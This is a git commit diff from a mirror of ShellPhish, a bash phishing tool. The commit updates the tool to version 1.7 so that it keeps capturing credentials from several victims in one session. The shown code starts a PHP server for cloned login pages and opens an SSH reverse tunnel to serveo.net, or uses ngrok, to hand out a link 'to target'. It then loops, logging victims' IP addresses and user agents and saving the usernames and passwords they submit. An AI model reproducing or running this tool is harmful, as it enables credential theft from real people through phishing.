mirror of
https://github.com/richardsonjf/shellphish.git
synced 2025-12-12 18:32:56 -08:00
multi account added
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
#!/bin/bash
|
||||
# ShellPhish v1.6
|
||||
# ShellPhish v1.7
|
||||
# Coded by: thelinuxchoice (You dont become a coder by just changing the credits)
|
||||
# Github: https://github.com/thelinuxchoice/shellphish
|
||||
# This script uses some Phishing Pages generated by SocialFish tool (UndeadSec) (https://github.com/UndeadSec/SocialFish)
|
||||
@@ -133,8 +133,6 @@ if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
banner() {
|
||||
@@ -144,7 +142,7 @@ printf "\e[1;77m | | | | | || |(_____ \ | | (_) | | \
|
||||
printf "\e[1;77m \ \ | | _ ____ | || | _____) )| | _ _ ___ | | _ \e[0m\n"
|
||||
printf "\e[1;77m \ \ | || \ / _ )| || || ____/ | || \ | | /___)| || \ \e[0m\n"
|
||||
printf "\e[1;77m _____) )| | | |( (/ / | || || | | | | || ||___ || | | | \e[0m\n"
|
||||
printf "\e[1;77m (______/ |_| |_| \____)|_||_||_| |_| |_||_|(___/ |_| |_| v1.6\e[0m\n"
|
||||
printf "\e[1;77m (______/ |_| |_| \____)|_||_||_| |_| |_||_|(___/ |_| |_| v1.7\e[0m\n"
|
||||
printf "\n"
|
||||
printf "\e[1;93m .:.:.\e[0m\e[1;77m Phishing Tool coded by: @thelinuxchoice \e[0m\e[1;93m.:.:.\e[0m\n"
|
||||
printf "\n"
|
||||
@@ -206,31 +204,11 @@ printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Account:\e[0m\e[1;77m
|
||||
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\e[0m" $password
|
||||
cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
|
||||
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server
|
||||
killall -2 php > /dev/null 2>&1
|
||||
killall -2 ngrok > /dev/null 2>&1
|
||||
killall ssh > /dev/null 2>&1
|
||||
if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
exit 1
|
||||
printf "\n"
|
||||
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Next IP and Next Credentials, Press Ctrl + C to exit...\e[0m\n"
|
||||
|
||||
}
|
||||
|
||||
getcredentials() {
|
||||
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting credentials ...\e[0m\n"
|
||||
while [ true ]; do
|
||||
|
||||
|
||||
if [[ -e "sites/$server/usernames.txt" ]]; then
|
||||
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
|
||||
catch_cred
|
||||
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
|
||||
}
|
||||
|
||||
catch_ip() {
|
||||
touch sites/$server/saved.usernames.txt
|
||||
@@ -242,7 +220,6 @@ printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] User-Agent:\e[0m\e[1;77m %s\e[0m\n
|
||||
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m %s/saved.ip.txt\e[0m\n" $server
|
||||
cat sites/$server/ip.txt >> sites/$server/saved.ip.txt
|
||||
|
||||
|
||||
if [[ -e iptracker.log ]]; then
|
||||
rm -rf iptracker.log
|
||||
fi
|
||||
@@ -313,11 +290,11 @@ fi
|
||||
##
|
||||
printf "\n"
|
||||
rm -rf iptracker.log
|
||||
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting Credentials and Next IP, Press Ctrl + C to exit...\e[0m\n"
|
||||
|
||||
getcredentials
|
||||
}
|
||||
|
||||
##
|
||||
|
||||
serverx() {
|
||||
printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
|
||||
cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 &
|
||||
@@ -329,7 +306,7 @@ rm -rf sendlink
|
||||
fi
|
||||
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' &
|
||||
printf "\n"
|
||||
sleep 10 # &
|
||||
sleep 10
|
||||
send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
|
||||
printf "\n"
|
||||
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link
|
||||
@@ -360,8 +337,6 @@ serverx
|
||||
}
|
||||
|
||||
|
||||
##
|
||||
|
||||
start() {
|
||||
if [[ -e sites/$server/ip.txt ]]; then
|
||||
rm -rf sites/$server/ip.txt
|
||||
@@ -373,6 +348,7 @@ rm -rf sites/$server/usernames.txt
|
||||
fi
|
||||
|
||||
|
||||
|
||||
if [[ -e ngrok ]]; then
|
||||
echo ""
|
||||
else
|
||||
@@ -421,8 +397,13 @@ checkfound
|
||||
}
|
||||
|
||||
start1() {
|
||||
if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
|
||||
|
||||
printf "\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunelling, Best!)\e[0m\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunneling, Best!)\e[0m\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
|
||||
default_option_server="1"
|
||||
read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m\en' option_server
|
||||
@@ -443,16 +424,24 @@ fi
|
||||
checkfound() {
|
||||
|
||||
printf "\n"
|
||||
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting victim open the link ...\e[0m\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting IPs and Credentials,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
|
||||
while [ true ]; do
|
||||
|
||||
|
||||
if [[ -e "sites/$server/ip.txt" ]]; then
|
||||
printf "\n\e[1;92m[\e[0m*\e[1;92m] IP Found!\n"
|
||||
catch_ip
|
||||
|
||||
rm -rf sites/$server/ip.txt
|
||||
fi
|
||||
sleep 1
|
||||
sleep 0.5
|
||||
if [[ -e "sites/$server/usernames.txt" ]]; then
|
||||
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n"
|
||||
catch_cred
|
||||
rm -rf sites/$server/usernames.txt
|
||||
fi
|
||||
sleep 0.5
|
||||
|
||||
|
||||
done
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user